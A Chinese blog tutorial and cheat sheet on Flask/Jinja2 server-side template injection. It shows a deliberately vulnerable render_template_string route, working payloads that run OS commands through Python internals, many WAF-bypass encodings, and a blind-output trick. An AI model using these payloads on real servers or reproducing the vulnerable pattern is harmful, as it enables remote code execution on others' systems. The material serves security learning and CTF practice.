SSTI


SSTI

SSTI

当前使用的框架,python 的 flask、 java 的 spring 等都是用户的输入传入控制器,然后根据请求类型和请求的指令发送给对应的业务模块进行业务逻辑判断,数据库读取,最后把结果返回给视图层,渲染后展示给用户

这个漏洞的成因就是因为服务器端接收到了用户的恶意输入后,没有任何处理就将其作为 web 模板的一部分,模板引擎在渲染目标时,执行了用户插入的恶意语句,导致了信息泄露、代码执行等问题

模板注入一般都会使用对应引擎的语法包裹恶意代码,比如 jinja2​ 的 {{}}​,因为在渲染函数中,不会对变量进行渲染, {{}} 中的内容会被当作变量解析,所以可以实现模板注入

image

模板引擎

模板是一种将数据转化为实际的视觉表现(HTML)的一种手段
模板的好处是数据放到模板中,直接渲染成 html 文本,返回给浏览器,展示快

这里有两种渲染方式

  • 后端渲染:数据传输到服务器或者数据直接存储在服务器中,后端使用模板解析这些数据并渲染成 HTML 返回给浏览器

  • 前端渲染:浏览器从服务器得到的是数据,由浏览器前端渲染成 HTML 给用户

就比如要在前端显示用户名,但是每个用户的名字不同,我们要接收数据后,渲染到 name 变量中,再展示给用户

<html>
	<h1>{$name}</h1>
</html>

jinja2

这里记录一下 flask 的 ssti 漏洞,其实就是 jinja2 的模板注入,因为 flask 中内置了 jinja2 用来渲染的

flask 使用 render_template() 来渲染模板时,用户的输入被视为变量值,jinja2 默认会对变量进行 HTML 转义,且不会执行其中的模板指令

@app.route("/login")
def login():
	name = 1
    return render_template("login.html",name=name)

但是如果偷懒,使用了 render_template_string(),并且配合了格式化字符串,用户的输入在渲染前就已经变成了模板结构的一部分

from flask import Flask, render_template_string, request

app = Flask(__name__)

@app.route('/',methods=['GET', 'POST'])
def test():
    template = '''
        <div>
            <h3>%s</h3>
        </div> 
    ''' %(request.args.get('name'))

    return render_template_string(template)

if __name__ == '__main__':
    app.run()

在 jinja2 中,模板有几种语法

  1. {% %} 可以用来声明变量,也可以用来构造循环语句和条件语句

    {% set x = 'marin' %}  # 声明变量
    {% for i in ['a','b','c']%} {{i}} {% endfor %} #循环
    {% if 25==5*5 %} {{1}} {% endif %}   #条件
  2. {{ }} 可以用来将表达式打印到模板输出

  3. `` 表示未包含在模板输出中的注释

  4. # #​ 可能和 {% %} 有相同的效果

python 利用点

在 python 中,模块可以用 . 访问,但是字典不支持

  • __class__

    用于获取对象的类,在 python 中,所有东西都是对象
    获取了类之后在 ssti 中就可以得到很多东西了

  • __base__

    返回一个对象所直接继承的父类

  • __mro__

    返回一个从当前类到 object 的所有继承路径的元组

  • __subclasses__()

    返回当前类的所有子类的方法

  • __init__

    所有原生类都包含的一个方法,用来初始化一个对象,返回的类型是 function​,用来当跳板调用 __globals__​,因为只有函数和方法才有 __globals__ 属性,类本身是没有的

  • __globals__

    是一个 function 对象的属性,用来获取函数下所有可以使用的 module、方法、变量,返回一个字典

  • __builtins__

    这是一个自动注入到每个作用域中的命名空间,包含了 python 的内置函数,其实就相当于字典,但是可以用 . 调用其中的对象

  • __str__()

    用来转化为字符串,并且可以用下标取字符串 config.__str__()[1]

  • __getitem__()

    这个是用下标访问时的行为,obj[key]​ 就相当于 obj.__getitem__(key)​,用在 [] 被 waf 的情况下

  • config

    flask 的配置对象

  • g

    {{g}}​ 得到 <flask.g of 'flask_ssti'>

  • request.environ

    运行时的环境变量

基础 payload

{{ "".__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('ls ../').read() }}

{{ url_for.__globals__.__builtins__['eval']("__import__('os').popen('ls').read()") }}

{{ lipsum.__globals__['os'].popen('ls').read() }}

{{ x.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls').read()") }}

{% print (lipsum|attr(__globals__)).os.popen('ls').read() %}

绕过技巧

引号绕过

当过滤了 ''​ 、"" 时需要构造字符串

  • request 对象

    {{ request.args.a }}
    {{ request.values.a }}
    {{ request.cookies.a }}
  • 利用 dict​ 配合 join 拼接

    join 可以将可迭代对象的元素拼接成一个字符串

    {% set po=dict(po=a,p=b)|join %}

    在 python3.6 之前字典是无序的,这个就没有用了

  • 利用 string|list 提取现有字符

    将对象转化为字符串,然后再转化为列表,可以用来获取字符,相当于 str()​、list()

    {{ (config|string)[1] }}
    {{ (config|string|list).pop(1) }}  # 绕过 []

点号绕过

当过滤了 . 号,用来获取模块时

  • attr() 过滤器

    {{ obj|attr('属性') }}
    {{ attr(obj,'属性') }}

中括号绕过

当过滤了 [],无法进行切片或字典取值

  • 利用 __getitem__

    {{ lipsum.__globals__.__getitem__('os') }}
  • 利用 pop

    {{ (config|string|list).pop(1) }}

关键字绕过

有些词被列入黑名单的时候

  • 利用 format

    {% print "%c%c%c%c%c%c%c%c%c"|format(95,95,99,108,97,115,115,95,95) %}
    # __class__
  • 利用 replace​/reverse

    {% print "__claee__"|replace('e','s') %}
    # __class__
    {% print "__ssalc__"|reverse %}
    # __class__
  • 利用 decode

    这个只在 python2 中有这个方法,python3 中需要调用 base64 模块

    {{ "X19jbGFzc19f".decode("base64") }}
  • 利用 dict​ 配合 join 拼接

    {% set built=(_,_,dict(builtins=a)|join,_,_)|join %}
  • 全角字符替代

    全角字符既可以替代一些数字,也可能替代一些关键字

    def half2full(half):  
        full = ''  
        for ch in half:  
            if ord(ch) in range(33, 127):  
                ch = chr(ord(ch) + 0xfee0)  
            elif ord(ch) == 32:  
                ch = chr(0x3000)  
            else:  
                pass  
            full += ch  
        return full  
    t=''
    s="0123456789"
    for i in s:
        t+='\''+half2full(i)+'\','
    print(t)

特殊字符绕过

有些特殊的字符可能会被过滤,比如下划线,或者数字

  • 利用 config 或一些能看到的列表拿取里面的字符

    {{ config.__str__()[1] }}
  • 构造 chr 方法获取字符

    {% set chr=url_for.__globals__.__builtins__.chr %}
  • 利用 length 获取数字

    {% set a=dict(a=a)|join|length %}
  • 利用 select 获取字符

    原本是原来筛选元素的,但是作用于空元组时,会生成一个生成器对象,然后配合 string|list 获取字符

    {% set a=(()|select|string|list)|attr('pop')(0) %}
    {% print a %}
  • 十六进制编码绕过

    {% print "\x5f\x5fclass\x5f\x5f" %}
    # __class__

无回显

{{ url_for.__globals__.__builtins__.__import__('os').makedirs('static', exist_ok=True) or  url_for.__globals__.__builtins__.__import__('os').popen('cat /usr/bin/rev > /static/secret.txt') }}

EJS 模板注入

模板语法:使用 <%=%>

参考:

flask之ssti模版注入从零到入门-先知社区


文章作者: Marin
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Marin !
  目录